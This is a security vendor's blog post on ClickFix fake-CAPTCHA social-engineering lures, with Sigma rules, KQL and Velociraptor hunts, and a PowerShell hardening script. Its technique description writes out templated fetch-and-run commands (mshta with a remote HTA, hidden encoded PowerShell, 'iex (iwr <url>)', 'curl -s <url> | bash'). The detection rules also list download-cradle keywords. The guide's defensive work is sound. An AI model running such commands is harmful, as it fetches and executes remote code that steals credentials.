Back to Intelligence

ClickFix at Scale: 17,000 Malicious URLs, Fake CAPTCHAs, and Why Domain Blocking Is Dead — Detection and Hardening Guide

SA
Security Arsenal Team
September 25, 2026
12 min read

A new global threat report from CTM360 should be mandatory reading for every SOC lead and detection engineer this quarter. After analyzing more than 17,000 URLs tied to ClickFix campaigns, the report documents what many of us in incident response have watched unfold first-hand: ClickFix has matured from a late-2023 novelty into the single most common initial access vector hitting enterprise networks — and it does so without an exploit, without an attachment, and often without a file ever touching disk.

What makes this report particularly uncomfortable is the commercialization angle. ClickFix infrastructure is now sold as a subscription product, complete with on-chain (blockchain-backed) hosting that makes takedowns and blocklists functionally obsolete. The user base is no longer limited to commodity crimeware crews — state-sponsored actors are paying customers. If your defensive strategy for social engineering still rests on blocking malicious domains at the proxy, this report is your wake-up call: the lures are hosted on legitimate, compromised websites that your users already trust.

This post breaks down the technique from a defender's perspective, gives you production-grade detection logic for Windows and macOS endpoints, and lays out hardening steps that actually interrupt the attack chain — because URL filtering alone won't.


Technical Analysis

What ClickFix Actually Is

ClickFix is not malware and not a vulnerability. It is a social engineering delivery technique that weaponizes the user's own hands. A victim visiting a compromised or adversary-operated site is shown a convincing interstitial — typically one of:

  • A fake CAPTCHA or "Verify you are human" widget (frequently styled after Cloudflare Turnstile)
  • A fake browser update or plugin installation prompt
  • A fake document viewer or video codec error

The page instructs the victim to "fix" the problem by pressing Win+R (opening the Windows Run dialog), then Ctrl+V (pasting a clipboard payload the page silently planted via JavaScript), then Enter. On macOS, the lure directs the victim to open Terminal and paste a command. The pasted payload is typically:

  • mshta.exe https://<domain>/<file>.hta — pulls and executes a remote HTA in-memory
  • powershell -w hidden -enc <base64> or iex (iwr <url>) download cradles
  • rundll32 / regsvr32 LOLBin chains
  • On macOS: curl -s <url> | bash or osascript one-liners pulling stealer payloads

The final stage is overwhelmingly commodity infostealers and RAT loaders, but state-sponsored operators have adopted the same lure mechanics for targeted intrusions — which is why CTM360's finding of a nation-state customer base matters.

Affected Platforms

PlatformExecution PathTypical Payload
Windows 10/11Win+R → mshta, powershell, cmd, rundll32Infostealers, RAT loaders, ransomware precursors
macOSTerminal → curl | bash, osascriptAtomic/AMOS-style stealers
Linux (limited)Terminal paste luresStealers, miner droppers

There is no CVE associated with this technique — nothing is being exploited except user trust and legitimate OS functionality. That is precisely why it scales. Every control keyed on vulnerability management, exploit prevention, or attachment sandboxing is structurally blind to it.

Exploitation Status

  • Actively exploited at massive scale. 17,000 tracked URLs per CTM360's telemetry.
  • Industrialized: sold as subscription kits with on-chain infrastructure, meaning lure domains rotate faster than any blocklist cycle.
  • Delivered via trusted sites: lures are frequently injected into compromised legitimate websites and malvertising chains, which is the core reason domain-reputation blocking has collapsed as a control.
  • Not a CISA KEV item — this is a TTP, not a patchable flaw. MITRE mapping: T1204.002 (User Execution: Malicious File), T1059.001/.003 (PowerShell / Windows Command Shell), T1218.005 (System Binary Proxy Execution: Mshta), T1027 (Obfuscation), T1105 (Ingress Tool Transfer).

Why the Attack Chain Is Detectable

The good news: ClickFix has a mechanical fingerprint that is very hard for the attacker to change without abandoning the technique entirely. The user pastes a command into the Run dialog, which means the eventual payload process is spawned by explorer.exe — not by the browser, not by Office, not by a service. Browser compromise looks different; macro execution looks different. An interactive explorer.exe → mshta.exe or explorer.exe → powershell.exe -enc ... lineage, with a command line referencing a URL, is a high-fidelity behavioral signature. That is where we hunt.


Detection & Response

The following rules and queries are tuned to fire on the ClickFix execution fingerprint — not on generic scripting activity. They assume Sysmon or equivalent process-creation telemetry with command-line logging, plus Defender for Endpoint/Sentinel and a Velociraptor deployment for IR scoping.

Sigma Rules

YAML
---
title: ClickFix Run Dialog Spawned Script Interpreter or LOLBin
id: 3f8a1c92-7b4e-4d1a-9c55-2e6b8d0f4a71
status: experimental
description: Detects ClickFix-style execution where a user pastes a malicious command into the Windows Run dialog, causing explorer.exe to spawn mshta, powershell, rundll32, regsvr32 or cmd with a remote URL or encoded payload. High-fidelity fingerprint of fake CAPTCHA/browser-update lures.
references:
  - https://thehackernews.com/2026/09/17000-urls-reveal-how-clickfix-turns.html
  - https://attack.mitre.org/techniques/T1204/002/
  - https://attack.mitre.org/techniques/T1218/005/
author: Security Arsenal
date: 2026/09/15
tags:
  - attack.execution
  - attack.t1204.002
  - attack.t1218.005
  - attack.t1059.001
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\explorer.exe'
  selection_child:
    Image|endswith:
      - '\mshta.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\cmd.exe'
  selection_cl:
    CommandLine|contains:
      - 'http://'
      - 'https://'
      - '-enc'
      - '-e '
      - 'FromBase64String'
      - 'iex'
      - 'iwr'
      - 'Invoke-Expression'
      - 'DownloadString'
      - 'curl '
      - 'certutil'
  condition: selection_parent and selection_child and selection_cl
falsepositives:
  - Administrators pasting commands into Run dialog (rare in most environments)
  - Software deployment tools with interactive shell usage
level: high
---
title: Mshta Network Connection to External Host
id: 6b2d9e47-1f3a-4c8b-a2d6-9f0e5c7b8d23
status: experimental
description: Detects mshta.exe establishing outbound network connections, consistent with ClickFix payloads retrieving remote HTA content. Mshta has virtually no legitimate reason to initiate network traffic in enterprise environments.
references:
  - https://thehackernews.com/2026/09/17000-urls-reveal-how-clickfix-turns.html
  - https://attack.mitre.org/techniques/T1218/005/
author: Security Arsenal
date: 2026/09/15
tags:
  - attack.execution
  - attack.command_and_control
  - attack.t1218.005
  - attack.t1105
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    Image|endswith: '\mshta.exe'
  filter_local:
    DestinationIp|cidr:
      - '10.0.0.0/8'
      - '172.16.0.0/12'
      - '192.168.0.0/16'
      - '127.0.0.0/8'
  condition: selection and not filter_local
falsepositives:
  - Legacy intranet HTA applications (rare; baseline and allowlist per host)
level: high
---
title: ClickFix Lure Page Clipboard and Run Dialog Instruction Artifacts
id: 9c4e7a15-2d8b-4f61-b3c9-5a1d6e8f0c42
status: experimental
description: Detects suspicious PowerShell execution combining hidden window styles with download cradles and Base64 obfuscation, typical of ClickFix paste-payloads staged via fake verification pages. Tune against your admin tooling baselines before production deployment.
references:
  - https://thehackernews.com/2026/09/17000-urls-reveal-how-clickfix-turns.html
  - https://attack.mitre.org/techniques/T1059/001/
  - https://attack.mitre.org/techniques/T1027/
author: Security Arsenal
date: 2026/09/15
tags:
  - attack.execution
  - attack.defense_evasion
  - attack.t1059.001
  - attack.t1027
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_hidden:
    CommandLine|contains:
      - '-w hidden'
      - '-windowstyle hidden'
      - '-win hidden'
      - '-noni'
  selection_cradle:
    CommandLine|contains:
      - 'DownloadString'
      - 'DownloadFile'
      - 'Start-BitsTransfer'
      - 'Invoke-WebRequest'
      - 'iwr '
      - 'wget '
      - 'curl.exe '
  condition: selection_img and selection_hidden and selection_cradle
falsepositives:
  - Enterprise software updaters using hidden PowerShell download logic
  - RMM tooling scripts
level: medium

KQL — Microsoft Sentinel / Defender for Endpoint

This hunt targets the ClickFix lineage directly: interactive explorer.exe spawning a script interpreter or LOLBin with a URL or encoded payload in the command line, enriched with the user and device for triage. The second stage joins any resulting network activity to surface C2 or payload retrieval.

KQL — Microsoft Sentinel / Defender
// ClickFix hunt: Run-dialog-pasted payload execution (explorer.exe parentage)
// and follow-on network activity. Lookback: 14 days.
let lookback = 14d;
let SuspiciousChildren = dynamic(["mshta.exe","powershell.exe","pwsh.exe","rundll32.exe","regsvr32.exe","cmd.exe","curl.exe"]);
let ClickFixExec = DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ (SuspiciousChildren)
| where ProcessCommandLine has_any ("http://","https://","-enc","FromBase64String","DownloadString","Invoke-Expression","iex ","iwr ","certutil")
| project ExecutionTime=Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, ProcessId, SHA256, ReportId;
ClickFixExec
| join kind=leftouter (
    DeviceNetworkEvents
    | where Timestamp > ago(lookback)
    | where InitiatingProcessFileName in~ (SuspiciousChildren)
    | project NetTime=Timestamp, DeviceName, InitiatingProcessId, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine
) on $left.ProcessId == $right.InitiatingProcessId and $left.DeviceName == $right.DeviceName
| project ExecutionTime, DeviceName, AccountName, FileName, ProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, SHA256
| order by ExecutionTime desc

For macOS estates ingesting Defender for Endpoint telemetry, hunt the Terminal-paste variant:

KQL — Microsoft Sentinel / Defender
// macOS ClickFix variant: curl/osascript piped payloads executed via Terminal
DeviceProcessEvents
| where Timestamp > ago(14d)
| where DeviceOSPlatform has "macOS"
| where InitiatingProcessFileName in~ ("Terminal","iTerm2","zsh","bash","loginwindow")
| where FileName in~ ("curl","bash","zsh","osascript","python","python3")
| where ProcessCommandLine has_any ("| bash","| sh","| zsh","curl -s","base64 -d","eval ","-e do shell script")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, SHA256
| order by Timestamp desc

Velociraptor VQL — IR Scoping Artifact

When you have a suspected ClickFix compromise, this artifact sweeps the fleet for live and recently-observed process lineages matching the Run-dialog fingerprint, and checks the RunMRU registry key — the forensic artifact that records exactly what the user typed or pasted into the Run dialog. RunMRU is gold in ClickFix investigations: the pasted payload often survives there even when the process has exited.

VQL — Velociraptor
-- ClickFix scoping: find explorer-spawned LOLBin/script interpreter processes
-- and pull RunMRU history per user hive for pasted-command forensics
LET suspicious_procs = SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime,
       dict(Name=parent.Name, Exe=parent.Exe) AS Parent
FROM pslist()
LET parent = SELECT Pid, Name, Exe FROM pslist()
WHERE Name =~ '(?i)mshta|powershell|pwsh|rundll32|regsvr32|cmd|curl'

SELECT Pid, Name, CommandLine, Username, CreateTime
FROM pslist()
WHERE CommandLine =~ '(?i)(https?://|-enc|frombase64string|downloadstring|iex|iwr)'
  AND Name =~ '(?i)mshta|powershell|pwsh|rundll32|regsvr32|cmd|curl'

-- Separately hunt RunMRU artifacts (run per-user hive via Windows.Registry.Hunter
-- or collect the key directly):
-- Key: HKEY_USERS\*\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
-- Suspicious MRUListEx entries containing http, mshta, powershell, or base64 blobs
-- are direct evidence of the pasted ClickFix payload.

For the RunMRU pull, deploy Windows.Registry.Hunter fleet-wide with a glob on HKEY_USERS/*/Software/Microsoft/Windows/CurrentVersion/Explorer/RunMRU/* and filter values matching http|mshta|powershell|-enc. A single row there is frequently your entire initial-access story.

Hardening / Audit Script (PowerShell)

Run this as an administrative audit-and-harden pass on Windows endpoints. It enables the telemetry you need, surfaces existing RunMRU evidence of past ClickFix attempts, and deploys an AppLocker audit-mode rule against mshta so you can baseline before enforcing.

PowerShell
# ClickFix Defense Audit & Hardening — run elevated
# 1) Verify Script Block Logging + Module Logging (payload visibility)
$sbl = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
if (-not (Test-Path $sbl)) { New-Item -Path $sbl -Force | Out-Null }
Set-ItemProperty -Path $sbl -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord
Write-Host "[+] PowerShell Script Block Logging enabled (Event ID 4104)." -ForegroundColor Green

# 2) Sweep current user's RunMRU for ClickFix-style pasted payloads
$runMru = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'
$suspicious = 'http|https|mshta|powershell|-enc|FromBase64String|iex|iwr|curl|certutil|rundll32'
if (Test-Path $runMru) {
    $hits = Get-ItemProperty -Path $runMru | Select-Object -Property * |
        Out-String -Stream | Select-String -Pattern $suspicious
    if ($hits) {
        Write-Host "[!] SUSPICIOUS RunMRU entries found — possible prior ClickFix execution:" -ForegroundColor Red
        $hits | ForEach-Object { Write-Host "    $_" }
    } else {
        Write-Host "[+] RunMRU clean of URL/script-interpreter patterns for this user." -ForegroundColor Green
    }
}

# 3) Deploy mshta AppLocker rule in AUDIT mode first (baseline before Enforce)
$ruleXml = @'
<AppLockerPolicy Version="1">
  <RuleCollection Type="Exe" EnforcementMode="AuditOnly">
    <FilePathRule Id="a1b2c3d4-1111-4222-8333-444455556666" Name="Audit mshta.exe (ClickFix control)" Description="Audits mshta execution fleet-wide" UserOrGroupSid="S-1-1-0" Action="Deny">
      <Conditions><FilePathCondition Path="%SYSTEM32%\MSHTA.EXE" /></Conditions>
    </FilePathRule>
  </RuleCollection>
</AppLockerPolicy>
'@
$ruleXml | Out-File "$env:TEMP\mshta-audit.xml" -Encoding UTF8
Write-Host "[i] mshta audit policy written to $env:TEMP\mshta-audit.xml — import via GPO/Intune after review." -ForegroundColor Yellow

# 4) Confirm AMSI is functional (payload content inspection)
try {
    $amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
    Write-Host "[+] AMSI interface present; ensure AV provider is registered (Get-MpComputerStatus)." -ForegroundColor Green
} catch { Write-Host "[!] AMSI check failed — investigate AV health." -ForegroundColor Red }

# 5) Verify Attack Surface Reduction rules relevant to script abuse
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids |
    ForEach-Object { Write-Host "[i] ASR rule configured: $_" }

Remediation

Because ClickFix is a technique rather than a patchable vulnerability, remediation is layered. Prioritize in this order:

1. Kill the execution path (highest ROI).

  • Block or heavily restrict mshta.exe via AppLocker or WDAC. There is close to zero legitimate mshta usage in a modern enterprise. Deploy in audit mode, baseline for two weeks, enforce. This single control severs the most common Windows ClickFix chain.
  • Enable Microsoft Defender ASR rules: Block execution of potentially obfuscated scripts and Block JavaScript or VBScript from launching downloaded executable content. Validate in audit mode first.
  • Constrained Language Mode + AMSI-verified AV on endpoints where full PowerShell isn't required.
  • macOS: enforce Gatekeeper, deploy MDM restrictions on unsigned script execution where feasible, and alert on curl | bash patterns from Terminal child processes.

2. Deploy the detections above. The explorer.exe → LOLBin with URL lineage is your tripwire. It catches the technique regardless of lure domain, kit version, or on-chain hosting rotation — which is the entire point, since infrastructure-based controls are dead against this threat.

3. Retrain your users for THIS lure — not generic phishing. Annual phishing training does not cover "press Win+R, paste, hit Enter." Brief your user base specifically on fake CAPTCHA / "verify you're human" / browser-update pages that ask for keyboard input outside the browser. The tell is simple: no legitimate website will ever ask you to open the Run dialog or Terminal. Say that sentence verbatim in your security awareness material.

4. Fix your web controls honestly. Keep DNS filtering and web proxies — they still reduce noise — but stop measuring them as your control for this threat. Add:

  • Browser isolation for uncategorized or newly-seen sites for high-risk user groups
  • Blocking of newly registered domains (<30 days) at the proxy, with a business exception process
  • Detonation/rendering analysis of pages behind CAPTCHA-gated flows, since lures hide behind human-verification gates that sandboxes don't click through

5. IR readiness. Add the RunMRU key and clipboard-adjacent artifacts to your standard triage collection. When a ClickFix case lands, your scoping questions are: what ran (RunMRU + process telemetry), what did it pull (network logs from mshta/powershell), and what stealer/RAT staged afterward (credential stores, browser data exfiltration). Assume credential theft and rotate accordingly — infostealers are the dominant payload, and session-token theft means MFA alone won't save you.

6. Threat intel tracking. Follow CTM360's published indicators from the report, but treat them as retrospective evidence for scoping, not as prevention. The subscription-kit model means every customer of the service gets fresh infrastructure.


Related Resources

Security Arsenal Incident Response Services AlertMonitor Platform Book a SOC Assessment incident-response Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.